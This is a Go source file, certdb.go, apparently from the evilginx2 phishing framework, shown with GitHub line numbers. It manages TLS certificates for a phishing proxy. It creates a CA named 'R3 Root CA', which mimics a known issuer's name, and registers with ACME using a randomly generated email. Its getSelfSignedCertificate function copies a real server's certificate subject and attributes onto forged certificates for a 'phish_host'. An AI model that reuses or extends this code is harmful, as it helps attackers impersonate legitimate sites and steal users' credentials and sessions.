/
certdb.go
265 lines (227 loc) · 6.8 KB
/
certdb.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
package core
import (
"context"
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"fmt"
"io/ioutil"
"math/big"
"os"
"path/filepath"
"strings"
"time"
"github.com/kgretzky/evilginx2/log"
"github.com/caddyserver/certmagic"
)
type CertDb struct {
cache_dir string
magic *certmagic.Config
cfg *Config
ns *Nameserver
caCert tls.Certificate
tlsCache map[string]*tls.Certificate
}
func NewCertDb(cache_dir string, cfg *Config, ns *Nameserver) (*CertDb, error) {
os.Setenv("XDG_DATA_HOME", cache_dir)
o := &CertDb{
cache_dir: cache_dir,
cfg: cfg,
ns: ns,
tlsCache: make(map[string]*tls.Certificate),
}
certmagic.DefaultACME.Agreed = true
certmagic.DefaultACME.Email = o.GetEmail()
err := o.generateCertificates()
if err != nil {
return nil, err
}
err = o.reloadCertificates()
if err != nil {
return nil, err
}
o.magic = certmagic.NewDefault()
return o, nil
}
func (o *CertDb) GetEmail() string {
var email string
fn := filepath.Join(o.cache_dir, "email.txt")
data, err := ReadFromFile(fn)
if err != nil {
email = strings.ToLower(GenRandomString(3) + "@" + GenRandomString(6) + ".com")
if SaveToFile([]byte(email), fn, 0600) != nil {
log.Error("saving email error: %s", err)
}
} else {
email = strings.TrimSpace(string(data))
}
return email
}
func (o *CertDb) generateCertificates() error {
var key *rsa.PrivateKey
pkey, err := ioutil.ReadFile(filepath.Join(o.cache_dir, "private.key"))
if err != nil {
pkey, err = ioutil.ReadFile(filepath.Join(o.cache_dir, "ca.key"))
}
if err != nil {
// private key corrupted or not found, recreate and delete all public certificates
os.RemoveAll(filepath.Join(o.cache_dir, "*"))
key, err = rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
return fmt.Errorf("private key generation failed")
}
pkey = pem.EncodeToMemory(&pem.Block{
Type: "RSA PRIVATE KEY",
Bytes: x509.MarshalPKCS1PrivateKey(key),
})
err = ioutil.WriteFile(filepath.Join(o.cache_dir, "ca.key"), pkey, 0600)
if err != nil {
return err
}
} else {
block, _ := pem.Decode(pkey)
if block == nil {
return fmt.Errorf("private key is corrupted")
}
key, err = x509.ParsePKCS1PrivateKey(block.Bytes)
if err != nil {
return err
}
}
ca_cert, err := ioutil.ReadFile(filepath.Join(o.cache_dir, "ca.crt"))
if err != nil {
notBefore := time.Now()
aYear := time.Duration(10*365*24) * time.Hour
notAfter := notBefore.Add(aYear)
serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
serialNumber, err := rand.Int(rand.Reader, serialNumberLimit)
if err != nil {
return err
}
template := x509.Certificate{
SerialNumber: serialNumber,
Subject: pkix.Name{
Country: []string{"US"},
Locality: []string{"New York"},
Organization: []string{"Lite Server Inc."},
OrganizationalUnit: []string{},
CommonName: "R3 Root CA",
},
NotBefore: notBefore,
NotAfter: notAfter,
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth},
BasicConstraintsValid: true,
IsCA: true,
}
cert, err := x509.CreateCertificate(rand.Reader, &template, &template, &key.PublicKey, key)
if err != nil {
return err
}
ca_cert = pem.EncodeToMemory(&pem.Block{
Type: "CERTIFICATE",
Bytes: cert,
})
err = ioutil.WriteFile(filepath.Join(o.cache_dir, "ca.crt"), ca_cert, 0600)
if err != nil {
return err
}
}
o.caCert, err = tls.X509KeyPair(ca_cert, pkey)
if err != nil {
return err
}
return nil
}
func (o *CertDb) setManagedSync(hosts []string, t time.Duration) error {
ctx, cancel := context.WithTimeout(context.Background(), t)
err := o.magic.ManageSync(ctx, hosts)
cancel()
return err
}
func (o *CertDb) reloadCertificates() error {
// TODO: load private certificates from disk
return nil
}
func (o *CertDb) getTLSCertificate(host string, port int) (*x509.Certificate, error) {
log.Debug("Fetching TLS certificate for %s:%d ...", host, port)
config := tls.Config{InsecureSkipVerify: true, NextProtos: []string{"http/1.1"}}
conn, err := tls.Dial("tcp", fmt.Sprintf("%s:%d", host, port), &config)
if err != nil {
return nil, err
}
defer conn.Close()
state := conn.ConnectionState()
return state.PeerCertificates[0], nil
}
func (o *CertDb) getSelfSignedCertificate(host string, phish_host string, port int) (cert *tls.Certificate, err error) {
var x509ca *x509.Certificate
var template x509.Certificate
cert, ok := o.tlsCache[host]
if ok {
return cert, nil
}
if x509ca, err = x509.ParseCertificate(o.caCert.Certificate[0]); err != nil {
return
}
if phish_host == "" {
serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
serialNumber, err := rand.Int(rand.Reader, serialNumberLimit)
if err != nil {
return nil, err
}
template = x509.Certificate{
SerialNumber: serialNumber,
Issuer: x509ca.Subject,
Subject: pkix.Name{Organization: []string{"Lite Server Inc."}},
NotBefore: time.Now(),
NotAfter: time.Now().Add(time.Hour * 24 * 180),
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
DNSNames: []string{host},
BasicConstraintsValid: true,
}
template.Subject.CommonName = host
} else {
srvCert, err := o.getTLSCertificate(host, port)
if err != nil {
return nil, fmt.Errorf("failed to get TLS certificate for: %s:%d error: %s", host, port, err)
} else {
serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
serialNumber, err := rand.Int(rand.Reader, serialNumberLimit)
if err != nil {
return nil, err
}
template = x509.Certificate{
SerialNumber: serialNumber,
Issuer: x509ca.Subject,
Subject: srvCert.Subject,
NotBefore: srvCert.NotBefore,
NotAfter: time.Now().Add(time.Hour * 24 * 180),
KeyUsage: srvCert.KeyUsage,
ExtKeyUsage: srvCert.ExtKeyUsage,
IPAddresses: srvCert.IPAddresses,
DNSNames: []string{phish_host},
BasicConstraintsValid: true,
}
template.Subject.CommonName = phish_host
}
}
var pkey *rsa.PrivateKey
if pkey, err = rsa.GenerateKey(rand.Reader, 1024); err != nil {
return
}
var derBytes []byte
if derBytes, err = x509.CreateCertificate(rand.Reader, &template, x509ca, &pkey.PublicKey, o.caCert.PrivateKey); err != nil {
return
}
cert = &tls.Certificate{
Certificate: [][]byte{derBytes, o.caCert.Certificate[0]},
PrivateKey: pkey,
}
o.tlsCache[host] = cert
return cert, nil
}